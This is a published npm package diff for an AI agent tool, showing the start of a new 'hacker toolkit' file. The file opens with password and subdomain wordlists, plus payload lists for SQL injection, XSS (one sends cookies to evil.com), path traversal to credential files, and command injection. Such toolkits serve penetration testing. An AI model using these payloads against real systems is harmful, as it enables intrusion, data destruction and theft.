@kernel.chat/kbot 3.56.0 → 3.58.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/dist/auth.js +8 -8
  2. package/dist/auth.js.map +1 -1
  3. package/dist/gitagent-export.d.ts +42 -0
  4. package/dist/gitagent-export.d.ts.map +1 -0
  5. package/dist/gitagent-export.js +161 -0
  6. package/dist/gitagent-export.js.map +1 -0
  7. package/dist/migrate.d.ts +17 -0
  8. package/dist/migrate.d.ts.map +1 -0
  9. package/dist/migrate.js +378 -0
  10. package/dist/migrate.js.map +1 -0
  11. package/dist/tools/ctf.d.ts +2 -0
  12. package/dist/tools/ctf.d.ts.map +1 -0
  13. package/dist/tools/ctf.js +2968 -0
  14. package/dist/tools/ctf.js.map +1 -0
  15. package/dist/tools/hacker-toolkit.d.ts +2 -0
  16. package/dist/tools/hacker-toolkit.d.ts.map +1 -0
  17. package/dist/tools/hacker-toolkit.js +3697 -0
  18. package/dist/tools/hacker-toolkit.js.map +1 -0
  19. package/dist/tools/index.d.ts.map +1 -1
  20. package/dist/tools/index.js +6 -0
  21. package/dist/tools/index.js.map +1 -1
  22. package/dist/tools/mcp-marketplace.d.ts.map +1 -1
  23. package/dist/tools/mcp-marketplace.js +24 -0
  24. package/dist/tools/mcp-marketplace.js.map +1 -1
  25. package/dist/tools/pentest.d.ts +2 -0
  26. package/dist/tools/pentest.d.ts.map +1 -0
  27. package/dist/tools/pentest.js +2225 -0
  28. package/dist/tools/pentest.js.map +1 -0
  29. package/dist/tools/redblue.d.ts +2 -0
  30. package/dist/tools/redblue.d.ts.map +1 -0
  31. package/dist/tools/redblue.js +3468 -0
  32. package/dist/tools/redblue.js.map +1 -0
  33. package/dist/tools/security-brain.d.ts +2 -0
  34. package/dist/tools/security-brain.d.ts.map +1 -0
  35. package/dist/tools/security-brain.js +2453 -0
  36. package/dist/tools/security-brain.js.map +1 -0
  37. package/dist/tools/visa-payments.d.ts +2 -0
  38. package/dist/tools/visa-payments.d.ts.map +1 -0
  39. package/dist/tools/visa-payments.js +166 -0
  40. package/dist/tools/visa-payments.js.map +1 -0
  41. package/dist/voice.d.ts +1 -1
  42. package/dist/voice.d.ts.map +1 -1
  43. package/dist/voice.js +26 -0
  44. package/dist/voice.js.map +1 -1
  45. package/package.json +3 -3
@@ -0,0 +1,3697 @@
1
+ // kbot Hacker Toolkit — 20 offensive/defensive security tools
2
+ // Hash cracking, encoding, DNS enum, fuzzing, CORS checks, JWT analysis,
3
+ // steganography, forensics, crypto utilities, payload generation, and more.
4
+ // All tools use Node.js built-in modules + global fetch. No external deps.
5
+ import { registerTool } from './index.js';
6
+ import { createHash, createHmac, randomBytes, createCipheriv, createDecipheriv, pbkdf2Sync, scryptSync, } from 'node:crypto';
7
+ import { execSync } from 'node:child_process';
8
+ import { Resolver } from 'node:dns/promises';
9
+ import { readFileSync, existsSync, statSync } from 'node:fs';
10
+ import { connect as tlsConnect } from 'node:tls';
11
+ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
12
+ // Common wordlists, payloads, and constants
13
+ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
14
+ const COMMON_PASSWORDS = [
15
+ 'password', '123456', '12345678', '1234', 'qwerty', '12345', 'dragon', 'pussy',
16
+ 'baseball', 'football', 'letmein', 'monkey', '696969', 'abc123', 'mustang',
17
+ 'michael', 'shadow', 'master', 'jennifer', '111111', '2000', 'jordan',
18
+ 'superman', 'harley', '1234567', 'fuckme', 'hunter', 'fuckyou', 'trustno1',
19
+ 'ranger', 'buster', 'thomas', 'tigger', 'robert', 'soccer', 'fuck',
20
+ 'batman', 'test', 'pass', 'killer', 'hockey', 'george', 'charlie',
21
+ 'andrew', 'michelle', 'love', 'sunshine', 'jessica', 'asshole', '6969',
22
+ 'pepper', 'daniel', 'access', '123456789', '654321', 'joshua', 'maggie',
23
+ 'starwars', 'silver', 'william', 'dallas', 'yankees', '123123', 'ashley',
24
+ '666666', 'hello', 'amanda', 'orange', 'biteme', 'freedom', 'computer',
25
+ 'sexy', 'thunder', 'nicole', 'ginger', 'heather', 'hammer', 'summer',
26
+ 'corvette', 'taylor', 'fucker', 'austin', '1111', 'merlin', 'matthew',
27
+ '121212', 'golfer', 'cheese', 'princess', 'martin', 'chelsea', 'patrick',
28
+ 'richard', 'diamond', 'yellow', 'bigdog', 'secret', 'asdfgh', 'sparky',
29
+ 'cowboy', 'camaro', 'anthony', 'matrix', 'falcon', 'iloveyou', 'bailey',
30
+ 'guitar', 'jackson', 'purple', 'scooter', 'phoenix', 'aaaaaa', 'morgan',
31
+ 'tigers', 'porsche', 'mickey', 'maverick', 'cookie', 'nascar', 'peanut',
32
+ 'justin', '131313', 'money', 'horny', 'samantha', 'panties', 'steelers',
33
+ 'joseph', 'snoopy', 'boomer', 'whatever', 'iceman', 'smokey', 'gateway',
34
+ 'dakota', 'cowboys', 'eagles', 'chicken', 'dick', 'black', 'zxcvbn',
35
+ 'please', 'andrea', 'ferrari', 'knight', 'hardcore', 'melissa', 'compaq',
36
+ 'coffee', 'booboo', 'bitch', 'johnny', 'bulldog', 'xxxxxx', 'welcome',
37
+ 'james', 'player', 'ncc1701', 'wizard', 'scooby', 'charles', 'junior',
38
+ 'internet', 'mike', 'brandy', 'tennis', 'blowjob', 'banana', 'monster',
39
+ 'spider', 'lakers', 'miller', 'rabbit', 'enter', 'mercedes', 'brandon',
40
+ 'steven', 'fender', 'john', 'yamaha', 'diablo', 'chris', 'boston',
41
+ 'tiger', 'marine', 'chicago', 'rangers', 'gandalf', 'winter', 'bigtits',
42
+ 'barney', 'edward', 'raiders', 'porn', 'badboy', 'blowme', 'spanky',
43
+ 'bigdaddy', 'johnson', 'chester', 'london', 'midnight', 'blue', 'fishing',
44
+ '000000', 'hannah', 'slayer', '11111111', 'rachel', 'redsox', 'thx1138',
45
+ 'asdf', 'panther', 'rebecca', 'happy', 'apache', 'joshua1', 'golden',
46
+ 'abcdef', 'sniper', 'simpsons', 'legend', 'captain', 'murphy', 'lovers',
47
+ 'jasmine', 'jennifer1', 'nicholas', 'beavis', 'nathan', 'victor',
48
+ 'florida', 'genesis', 'warriors', 'samsung', 'viking', 'butthead',
49
+ 'asdfasdf', 'password1', 'password123', 'admin', 'admin123', 'root',
50
+ 'toor', 'pass123', 'qwerty123', 'letmein1', 'welcome1', 'monkey123',
51
+ 'login', 'princess1', 'abc1234', 'changeme', 'trustno1', '000000',
52
+ '1q2w3e4r', '1qaz2wsx', 'zaq1xsw2', 'qazwsx', 'passw0rd', 'p@ssw0rd',
53
+ 'p@ssword', 'P@ssw0rd', 'P@ssword1', 'Pa$$w0rd', 'admin1', 'administrator',
54
+ 'nimda', 'letmein!', 'welcome!', 'qwert', 'asdfghjkl', 'zxcvbnm',
55
+ '1234567890', 'q1w2e3r4', 'q1w2e3r4t5', 'iloveu', 'lovely', 'sunshine1',
56
+ 'shadow1', 'master1', '12345a', '123abc', 'aaa111', '1a2b3c', 'qwer1234',
57
+ 'test123', 'test1', 'testing', 'guest', 'default', 'public',
58
+ 'private', 'secure', 'security', 'server', 'system', 'service',
59
+ 'oracle', 'mysql', 'postgres', 'database', 'backup', 'temp',
60
+ 'temp123', 'user', 'user123', 'demo', 'demo123', 'sample',
61
+ 'example', 'tomcat', 'manager', 'webmaster', 'operator', 'supervisor',
62
+ 'monitor', 'control', 'support', 'helpdesk', 'qwerty1', 'password2',
63
+ 'password!', 'pa55word', 'pass1234', 'p455w0rd', 'football1', 'baseball1',
64
+ 'soccer1', 'hockey1', 'golf', 'boxing', 'tennis1', 'swimming',
65
+ 'running', 'cycling', 'gaming', 'music', 'movies', 'travel',
66
+ 'love123', 'baby', 'angel', 'angel1', 'hottie', 'sexy1',
67
+ 'lovely1', 'cutie', 'sweety', 'honey', 'sugar', 'cookie1',
68
+ 'forever', 'friends', 'family', 'batman1', 'superman1', 'spiderman',
69
+ 'ironman', 'wolverine', 'hulk', 'thor', 'captain1', 'deadpool',
70
+ 'joker', 'harleyquinn', 'pokemon', 'pikachu', 'mario', 'zelda',
71
+ 'naruto', 'goku', 'spongebob', 'minecraft', 'fortnite', 'roblox',
72
+ 'apple', 'google', 'facebook', 'twitter', 'amazon', 'microsoft',
73
+ 'samsung1', 'iphone', 'android', 'linux', 'windows', 'ubuntu',
74
+ 'hacker', 'hacking', 'pentester', 'exploit', 'backdoor', 'malware',
75
+ 'virus', 'trojan', 'worm', 'rootkit', 'keylogger', 'phishing',
76
+ 'spring', 'summer1', 'autumn', 'fall', 'winter1', 'snow',
77
+ 'rain', 'storm', 'thunder1', 'lightning', 'tornado', 'hurricane',
78
+ 'january', 'february', 'march', 'april', 'may', 'june',
79
+ 'july', 'august', 'september', 'october', 'november', 'december',
80
+ 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday',
81
+ 'red', 'blue1', 'green', 'yellow1', 'purple1', 'orange1',
82
+ 'black1', 'white', 'pink', 'brown', 'gold', 'silver1',
83
+ 'newyork', 'losangeles', 'chicago1', 'houston', 'phoenix1', 'dallas1',
84
+ 'london1', 'paris', 'tokyo', 'berlin', 'moscow', 'sydney',
85
+ 'canada', 'america', 'england', 'france', 'germany', 'japan',
86
+ 'brazil', 'india', 'china', 'russia', 'australia', 'mexico',
87
+ 'abc12345', 'abc1234', '12341234', '11223344', 'aabbccdd', 'password12',
88
+ 'letmein123', 'changeme1', 'changeme!', 'qwerty!', 'admin!',
89
+ ];
90
+ const NUMERIC_WORDLIST = Array.from({ length: 10000 }, (_, i) => String(i).padStart(4, '0'));
91
+ const SQLI_PAYLOADS = [
92
+ "' OR 1=1--",
93
+ "\" OR 1=1--",
94
+ "' OR '1'='1",
95
+ "' OR '1'='1'--",
96
+ "' OR '1'='1'/*",
97
+ "' OR 1=1#",
98
+ "' UNION SELECT NULL--",
99
+ "' UNION SELECT NULL, NULL--",
100
+ "' UNION SELECT NULL, NULL, NULL--",
101
+ "1' AND '1'='1",
102
+ "1' AND '1'='2",
103
+ "' AND 1=1--",
104
+ "' AND 1=2--",
105
+ "admin'--",
106
+ "admin' #",
107
+ "admin'/*",
108
+ "' OR 1=1 LIMIT 1--",
109
+ "1'; DROP TABLE users--",
110
+ "'; EXEC xp_cmdshell('whoami')--",
111
+ "' UNION SELECT username, password FROM users--",
112
+ "' OR EXISTS(SELECT * FROM users WHERE username='admin')--",
113
+ "' HAVING 1=1--",
114
+ "' GROUP BY columnnames HAVING 1=1--",
115
+ "' ORDER BY 1--",
116
+ "' ORDER BY 100--",
117
+ "1 OR 1=1",
118
+ "1' OR '1'='1",
119
+ "') OR ('1'='1",
120
+ "')) OR (('1'='1",
121
+ "' WAITFOR DELAY '0:0:5'--",
122
+ "'; SELECT SLEEP(5)--",
123
+ "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
124
+ "' UNION ALL SELECT NULL--",
125
+ "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
126
+ "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1)--",
127
+ ];
128
+ const XSS_PAYLOADS = [
129
+ '<script>alert(1)</script>',
130
+ '<img src=x onerror=alert(1)>',
131
+ '<svg onload=alert(1)>',
132
+ '<body onload=alert(1)>',
133
+ '<input onfocus=alert(1) autofocus>',
134
+ '<marquee onstart=alert(1)>',
135
+ '<details open ontoggle=alert(1)>',
136
+ '<video src=x onerror=alert(1)>',
137
+ '<audio src=x onerror=alert(1)>',
138
+ 'javascript:alert(1)',
139
+ '<a href="javascript:alert(1)">click</a>',
140
+ '" onfocus="alert(1)" autofocus="',
141
+ "' onfocus='alert(1)' autofocus='",
142
+ '<div style="background:url(javascript:alert(1))">',
143
+ '<iframe src="javascript:alert(1)">',
144
+ '<object data="javascript:alert(1)">',
145
+ '<embed src="javascript:alert(1)">',
146
+ '"><script>alert(1)</script>',
147
+ "'><script>alert(1)</script>",
148
+ '</script><script>alert(1)</script>',
149
+ '<img src=1 onerror=alert(document.cookie)>',
150
+ '<svg/onload=alert(1)>',
151
+ '<img src=x onerror=prompt(1)>',
152
+ '<img src=x onerror=confirm(1)>',
153
+ '{{constructor.constructor("alert(1)")()}}',
154
+ '${alert(1)}',
155
+ '<script>fetch("https://evil.com/steal?c="+document.cookie)</script>',
156
+ '<img src=x onerror="eval(atob(\'YWxlcnQoMSk=\'))">',
157
+ '<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
158
+ '<form><button formaction=javascript:alert(1)>X</button></form>',
159
+ '<isindex action=javascript:alert(1) type=image>',
160
+ '"><img src=x onerror=alert(String.fromCharCode(88,83,83))>',
161
+ ];
162
+ const TRAVERSAL_PAYLOADS = [
163
+ '../etc/passwd',
164
+ '../../etc/passwd',
165
+ '../../../etc/passwd',
166
+ '../../../../etc/passwd',
167
+ '../../../../../etc/passwd',
168
+ '..\\windows\\system32\\drivers\\etc\\hosts',
169
+ '..\\..\\windows\\system32\\drivers\\etc\\hosts',
170
+ '....//etc/passwd',
171
+ '....//....//etc/passwd',
172
+ '..%2f..%2f..%2fetc%2fpasswd',
173
+ '..%252f..%252f..%252fetc%252fpasswd',
174
+ '%2e%2e%2f%2e%2e%2fetc%2fpasswd',
175
+ '%2e%2e/%2e%2e/etc/passwd',
176
+ '..%c0%af..%c0%afetc%c0%afpasswd',
177
+ '..%c1%9c..%c1%9cetc%c1%9cpasswd',
178
+ '/etc/passwd',
179
+ '/etc/shadow',
180
+ '/etc/hosts',
181
+ '/proc/self/environ',
182
+ '/proc/version',
183
+ 'C:\\boot.ini',
184
+ 'C:\\windows\\system32\\config\\sam',
185
+ '....\\....\\....\\etc\\passwd',
186
+ '..;/etc/passwd',
187
+ '..%00/etc/passwd',
188
+ ];
189
+ const COMMAND_PAYLOADS = [
190
+ '; ls',
191
+ '| ls',
192
+ '`ls`',
193
+ '$(ls)',
194
+ '; cat /etc/passwd',
195
+ '| cat /etc/passwd',
196
+ '`cat /etc/passwd`',
197
+ '$(cat /etc/passwd)',
198
+ '; whoami',
199
+ '| whoami',
200
+ '`whoami`',
201
+ '$(whoami)',
202
+ '; id',
203
+ '| id',
204
+ '`id`',
205
+ '$(id)',
206
+ '; uname -a',
207
+ '| uname -a',
208
+ '; ping -c 4 127.0.0.1',
209
+ '| ping -c 4 127.0.0.1',
210
+ '& ping -c 4 127.0.0.1',
211
+ '\n/bin/ls',
212
+ '\nid',
213
+ '${IFS}id',
214
+ ';${IFS}id',
215
+ '{ls,/}',
216
+ "'; ls #",
217
+ '"; ls #',
218
+ '| sleep 5',
219
+ '; sleep 5',
220
+ '`sleep 5`',
221
+ '$(sleep 5)',
222
+ ];
223
+ const COMMON_SUBDOMAINS_SMALL = [
224
+ 'www', 'mail', 'ftp', 'localhost', 'webmail', 'smtp', 'pop', 'ns1', 'ns2',
225
+ 'webdisk', 'admin', 'api', 'dev', 'staging', 'test', 'blog', 'shop', 'app',
226
+ 'cdn', 'cloud', 'cpanel', 'direct', 'email', 'exchange', 'forum', 'help',
227
+ 'imap', 'info', 'intranet', 'login', 'm', 'media', 'mobile', 'mx', 'mysql',
228
+ 'new', 'news', 'old', 'panel', 'portal', 'preview', 'proxy', 'remote',
229
+ 'search', 'secure', 'server', 'ssh', 'ssl', 'status', 'store', 'support',
230
+ 'vpn', 'web', 'wiki', 'www2', 'beta', 'alpha', 'demo', 'docs', 'git',
231
+ 'gitlab', 'jenkins', 'jira', 'confluence', 'grafana', 'kibana', 'prometheus',
232
+ 'monitor', 'sentry', 'analytics', 'dashboard', 'assets', 'static', 'img',
233
+ 'images', 'video', 'download', 'uploads', 'files', 'data', 'backup',
234
+ 'stage', 'preprod', 'prod', 'production', 'development', 'sandbox', 'uat',
235
+ 'qa', 'testing', 'internal', 'private', 'public', 'gateway', 'lb',
236
+ 'load', 'node1', 'node2', 'db', 'redis', 'cache', 'queue', 'worker',
237
+ 'cron', 'scheduler', 'auth', 'sso', 'oauth', 'id', 'accounts',
238
+ ];
239
+ const COMMON_SUBDOMAINS_MEDIUM = [
240
+ ...COMMON_SUBDOMAINS_SMALL,
241
+ 'autodiscover', 'autoconfig', 'mailgw', 'mx1', 'mx2', 'ns3', 'ns4',
242
+ 'dns', 'dns1', 'dns2', 'relay', 'smtp1', 'smtp2', 'pop3', 'imap4',
243
+ 'webmail2', 'mail2', 'owa', 'outlook', 'calendar', 'contact',
244
+ 'directory', 'ldap', 'radius', 'wpad', 'time', 'ntp',
245
+ 'log', 'logs', 'syslog', 'splunk', 'elastic', 'logstash',
246
+ 'vault', 'consul', 'nomad', 'terraform', 'ansible', 'puppet', 'chef',
247
+ 'docker', 'k8s', 'kubernetes', 'rancher', 'swarm', 'mesos',
248
+ 'ci', 'cd', 'build', 'deploy', 'release', 'artifact', 'nexus',
249
+ 'sonar', 'sonarqube', 'codecov', 'coverage', 'lint', 'scan',
250
+ 'api2', 'api3', 'graphql', 'rest', 'rpc', 'grpc', 'ws', 'wss',
251
+ 'socket', 'websocket', 'stream', 'feed', 'notify', 'push',
252
+ 'signup', 'register', 'verify', 'confirm', 'reset', 'recover',
253
+ 'billing', 'payment', 'invoice', 'subscription', 'checkout', 'cart',
254
+ 'www1', 'www3', 'web1', 'web2', 'site', 'home', 'landing',
255
+ 'cms', 'wordpress', 'wp', 'drupal', 'joomla', 'typo3', 'magento',
256
+ 'crm', 'erp', 'hr', 'payroll', 'inventory', 'order', 'shipping',
257
+ 'partner', 'affiliate', 'reseller', 'vendor', 'supplier', 'client',
258
+ 'dev1', 'dev2', 'test1', 'test2', 'stage1', 'stage2', 'uat1', 'uat2',
259
+ 'origin', 'edge', 'cdn1', 'cdn2', 'static1', 'static2',
260
+ 'ns5', 'ns6', 'mx3', 'mx4', 'mail3', 'mail4',
261
+ 'reports', 'reporting', 'bi', 'tableau', 'metabase', 'redash',
262
+ 'chat', 'slack', 'teams', 'meet', 'zoom', 'video1',
263
+ 'vpn1', 'vpn2', 'openvpn', 'wireguard', 'ipsec', 'tunnel',
264
+ 'firewall', 'waf', 'ids', 'ips', 'nids', 'hids',
265
+ 'repo', 'repository', 'svn', 'hg', 'mercurial', 'cvs',
266
+ 'pkg', 'packages', 'npm', 'pypi', 'gem', 'maven',
267
+ 'go', 'golang', 'rust', 'python', 'ruby', 'java', 'php',
268
+ 'v1', 'v2', 'v3', 'legacy', 'classic', 'next', 'canary',
269
+ 'health', 'healthcheck', 'ping', 'alive', 'ready', 'live',
270
+ 'metrics', 'trace', 'tracing', 'jaeger', 'zipkin', 'datadog',
271
+ 'aws', 'azure', 'gcp', 'gcloud', 'do', 'linode', 'vultr',
272
+ 'service', 'services', 'microservice', 'function', 'lambda', 'faas',
273
+ ];
274
+ const COMMON_SUBDOMAINS_LARGE = [
275
+ ...COMMON_SUBDOMAINS_MEDIUM,
276
+ ...Array.from({ length: 50 }, (_, i) => `server${i + 1}`),
277
+ ...Array.from({ length: 50 }, (_, i) => `host${i + 1}`),
278
+ ...Array.from({ length: 30 }, (_, i) => `node${i + 1}`),
279
+ ...Array.from({ length: 30 }, (_, i) => `web${i + 1}`),
280
+ ...Array.from({ length: 20 }, (_, i) => `app${i + 1}`),
281
+ ...Array.from({ length: 20 }, (_, i) => `db${i + 1}`),
282
+ ...Array.from({ length: 20 }, (_, i) => `cache${i + 1}`),
283
+ ...Array.from({ length: 20 }, (_, i) => `worker${i + 1}`),
284
+ ...Array.from({ length: 10 }, (_, i) => `proxy${i + 1}`),
285
+ ...Array.from({ length: 10 }, (_, i) => `lb${i + 1}`),
286
+ ...Array.from({ length: 10 }, (_, i) => `vpn${i + 1}`),
287
+ ...Array.from({ length: 10 }, (_, i) => `ns${i + 1}`),
288
+ ...Array.from({ length: 10 }, (_, i) => `mx${i + 1}`),
289
+ ...Array.from({ length: 10 }, (_, i) => `mail${i + 1}`),
290
+ 'admin1', 'admin2', 'panel1', 'panel2', 'cp', 'cpanel2',
291
+ 'whm', 'plesk', 'ispconfig', 'webmin', 'cockpit', 'portainer',
292
+ 'pgadmin', 'phpmyadmin', 'adminer', 'dbeaver', 'mongo', 'mongodb',
293
+ 'couchdb', 'cassandra', 'neo4j', 'influxdb', 'timescaledb', 'clickhouse',
294
+ 'rabbitmq', 'kafka', 'nats', 'pulsar', 'activemq', 'zeromq',
295
+ 'nginx', 'apache', 'httpd', 'caddy', 'traefik', 'haproxy', 'envoy',
296
+ 'gitea', 'gogs', 'bitbucket', 'azure-devops', 'circleci', 'travis',
297
+ 'drone', 'concourse', 'argo', 'argocd', 'flux', 'spinnaker',
298
+ 'harbor', 'registry', 'gcr', 'ecr', 'acr', 'quay',
299
+ 'istio', 'linkerd', 'kong', 'ambassador', 'apisix', 'tyk',
300
+ 'keycloak', 'okta', 'auth0', 'hydra', 'dex', 'cas',
301
+ 'minio', 's3', 'storage', 'blob', 'bucket', 'object',
302
+ 'smtp3', 'imap2', 'pop2', 'postfix', 'dovecot', 'exim',
303
+ 'roundcube', 'rainloop', 'horde', 'zimbra', 'mailu',
304
+ 'netbox', 'phpipam', 'racktables', 'napalm', 'oxidized',
305
+ 'icinga', 'nagios', 'zabbix', 'checkmk', 'prtg', 'uptime',
306
+ 'uptimerobot', 'statuscake', 'pingdom', 'newrelic', 'appdynamics',
307
+ ];
308
+ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
309
+ // Helper utilities
310
+ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
311
+ function identifyHashType(hash) {
312
+ const types = [];
313
+ const h = hash.trim();
314
+ if (/^\$2[aby]\$\d{2}\$.{53}$/.test(h))
315
+ types.push('bcrypt');
316
+ if (/^\$argon2(id?|d)\$/.test(h))
317
+ types.push('argon2');
318
+ if (/^\$5\$/.test(h))
319
+ types.push('SHA-256-crypt');
320
+ if (/^\$6\$/.test(h))
321
+ types.push('SHA-512-crypt');
322
+ if (/^\$1\$/.test(h))
323
+ types.push('MD5-crypt');
324
+ if (/^\$apr1\$/.test(h))
325
+ types.push('Apache-MD5');
326
+ if (/^[a-f0-9]{32}$/i.test(h))
327
+ types.push('MD5', 'NTLM');
328
+ if (/^[a-f0-9]{40}$/i.test(h))
329
+ types.push('SHA-1', 'MySQL5');
330
+ if (/^[a-f0-9]{56}$/i.test(h))
331
+ types.push('SHA-224', 'SHA3-224');
332
+ if (/^[a-f0-9]{64}$/i.test(h))
333
+ types.push('SHA-256', 'SHA3-256');
334
+ if (/^[a-f0-9]{96}$/i.test(h))
335
+ types.push('SHA-384', 'SHA3-384');
336
+ if (/^[a-f0-9]{128}$/i.test(h))
337
+ types.push('SHA-512', 'SHA3-512', 'Whirlpool');
338
+ if (/^[a-f0-9]{8}$/i.test(h))
339
+ types.push('CRC32', 'Adler32');
340
+ if (/^[a-f0-9]{16}$/i.test(h))
341
+ types.push('MySQL3', 'DES', 'Half-MD5');
342
+ if (/^\{SHA\}/.test(h))
343
+ types.push('LDAP-SHA');
344
+ if (/^\{SSHA\}/.test(h))
345
+ types.push('LDAP-SSHA');
346
+ if (/^\{MD5\}/.test(h))
347
+ types.push('LDAP-MD5');
348
+ if (types.length === 0)
349
+ types.push('Unknown');
350
+ return types;
351
+ }
352
+ function hashWith(algorithm, data) {
353
+ return createHash(algorithm).update(data).digest('hex');
354
+ }
355
+ function base64UrlDecode(str) {
356
+ const padded = str.replace(/-/g, '+').replace(/_/g, '/') +
357
+ '='.repeat((4 - (str.length % 4)) % 4);
358
+ return Buffer.from(padded, 'base64').toString('utf-8');
359
+ }
360
+ function base64UrlEncode(data) {
361
+ return Buffer.from(data).toString('base64')
362
+ .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
363
+ }
364
+ function calculateEntropy(data) {
365
+ const freq = new Map();
366
+ for (const byte of data) {
367
+ freq.set(byte, (freq.get(byte) || 0) + 1);
368
+ }
369
+ let entropy = 0;
370
+ const len = data.length;
371
+ for (const count of freq.values()) {
372
+ const p = count / len;
373
+ if (p > 0)
374
+ entropy -= p * Math.log2(p);
375
+ }
376
+ return entropy;
377
+ }
378
+ function calculatePasswordEntropy(password) {
379
+ let charsetSize = 0;
380
+ if (/[a-z]/.test(password))
381
+ charsetSize += 26;
382
+ if (/[A-Z]/.test(password))
383
+ charsetSize += 26;
384
+ if (/[0-9]/.test(password))
385
+ charsetSize += 10;
386
+ if (/[^a-zA-Z0-9]/.test(password))
387
+ charsetSize += 33;
388
+ if (charsetSize === 0)
389
+ return 0;
390
+ return password.length * Math.log2(charsetSize);
391
+ }
392
+ function estimateCrackTime(entropy) {
393
+ // Assume 10 billion guesses per second (modern GPU cluster)
394
+ const guessesPerSecond = 10_000_000_000;
395
+ const totalGuesses = Math.pow(2, entropy);
396
+ const seconds = totalGuesses / guessesPerSecond / 2; // average case
397
+ if (seconds < 0.001)
398
+ return 'instant';
399
+ if (seconds < 1)
400
+ return `${(seconds * 1000).toFixed(0)} milliseconds`;
401
+ if (seconds < 60)
402
+ return `${seconds.toFixed(1)} seconds`;
403
+ if (seconds < 3600)
404
+ return `${(seconds / 60).toFixed(1)} minutes`;
405
+ if (seconds < 86400)
406
+ return `${(seconds / 3600).toFixed(1)} hours`;
407
+ if (seconds < 31536000)
408
+ return `${(seconds / 86400).toFixed(1)} days`;
409
+ if (seconds < 31536000 * 100)
410
+ return `${(seconds / 31536000).toFixed(1)} years`;
411
+ if (seconds < 31536000 * 1_000_000)
412
+ return `${(seconds / 31536000).toFixed(0)} years`;
413
+ return `${(seconds / 31536000).toExponential(2)} years`;
414
+ }
415
+ function rot13(str) {
416
+ return str.replace(/[a-zA-Z]/g, (c) => {
417
+ const base = c <= 'Z' ? 65 : 97;
418
+ return String.fromCharCode(((c.charCodeAt(0) - base + 13) % 26) + base);
419
+ });
420
+ }
421
+ function ascii85Encode(data) {
422
+ const result = ['<~'];
423
+ for (let i = 0; i < data.length; i += 4) {
424
+ let value = 0;
425
+ const remaining = Math.min(4, data.length - i);
426
+ for (let j = 0; j < 4; j++) {
427
+ value = (value * 256) + (j < remaining ? data[i + j] : 0);
428
+ }
429
+ if (value === 0 && remaining === 4) {
430
+ result.push('z');
431
+ }
432
+ else {
433
+ const chars = [];
434
+ for (let j = 4; j >= 0; j--) {
435
+ chars[j] = String.fromCharCode((value % 85) + 33);
436
+ value = Math.floor(value / 85);
437
+ }
438
+ result.push(chars.slice(0, remaining + 1).join(''));
439
+ }
440
+ }
441
+ result.push('~>');
442
+ return result.join('');
443
+ }
444
+ function ascii85Decode(data) {
445
+ const stripped = data.replace(/^<~/, '').replace(/~>$/, '').replace(/\s/g, '');
446
+ const result = [];
447
+ let i = 0;
448
+ while (i < stripped.length) {
449
+ if (stripped[i] === 'z') {
450
+ result.push(0, 0, 0, 0);
451
+ i++;
452
+ continue;
453
+ }
454
+ let value = 0;
455
+ const groupLen = Math.min(5, stripped.length - i);
456
+ for (let j = 0; j < 5; j++) {
457
+ const c = j < groupLen ? stripped.charCodeAt(i + j) - 33 : 84;
458
+ value = value * 85 + c;
459
+ }
460
+ for (let j = 3; j >= 0; j--) {
461
+ if (j < groupLen - 1) {
462
+ result.push((value >> (j * 8)) & 0xFF);
463
+ }
464
+ }
465
+ i += groupLen;
466
+ }
467
+ return Buffer.from(result).toString('utf-8');
468
+ }
469
+ async function fetchWithTimeout(url, options = {}, timeoutMs = 10000) {
470
+ const controller = new AbortController();
471
+ const timer = setTimeout(() => controller.abort(), timeoutMs);
472
+ try {
473
+ const resp = await fetch(url, { ...options, signal: controller.signal });
474
+ return resp;
475
+ }
476
+ finally {
477
+ clearTimeout(timer);
478
+ }
479
+ }
480
+ const FILE_SIGNATURES = [
481
+ [[0x89, 0x50, 0x4E, 0x47], 'PNG image'],
482
+ [[0xFF, 0xD8, 0xFF], 'JPEG image'],
483
+ [[0x47, 0x49, 0x46, 0x38], 'GIF image'],
484
+ [[0x42, 0x4D], 'BMP image'],
485
+ [[0x25, 0x50, 0x44, 0x46], 'PDF document'],
486
+ [[0x50, 0x4B, 0x03, 0x04], 'ZIP archive (or DOCX/XLSX/JAR/APK)'],
487
+ [[0x50, 0x4B, 0x05, 0x06], 'ZIP archive (empty)'],
488
+ [[0x1F, 0x8B], 'GZIP compressed'],
489
+ [[0x42, 0x5A, 0x68], 'BZIP2 compressed'],
490
+ [[0xFD, 0x37, 0x7A, 0x58, 0x5A], 'XZ compressed'],
491
+ [[0x52, 0x61, 0x72, 0x21], 'RAR archive'],
492
+ [[0x37, 0x7A, 0xBC, 0xAF], '7-Zip archive'],
493
+ [[0x7F, 0x45, 0x4C, 0x46], 'ELF executable (Linux/Unix)'],
494
+ [[0x4D, 0x5A], 'PE executable (Windows .exe/.dll)'],
495
+ [[0xCE, 0xFA, 0xED, 0xFE], 'Mach-O binary (32-bit, macOS)'],
496
+ [[0xCF, 0xFA, 0xED, 0xFE], 'Mach-O binary (64-bit, macOS)'],
497
+ [[0xCA, 0xFE, 0xBA, 0xBE], 'Java class file or Mach-O universal binary'],
498
+ [[0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70], 'MP4 video'],
499
+ [[0x00, 0x00, 0x00, 0x20, 0x66, 0x74, 0x79, 0x70], 'MP4 video'],
500
+ [[0x1A, 0x45, 0xDF, 0xA3], 'WebM/MKV video'],
501
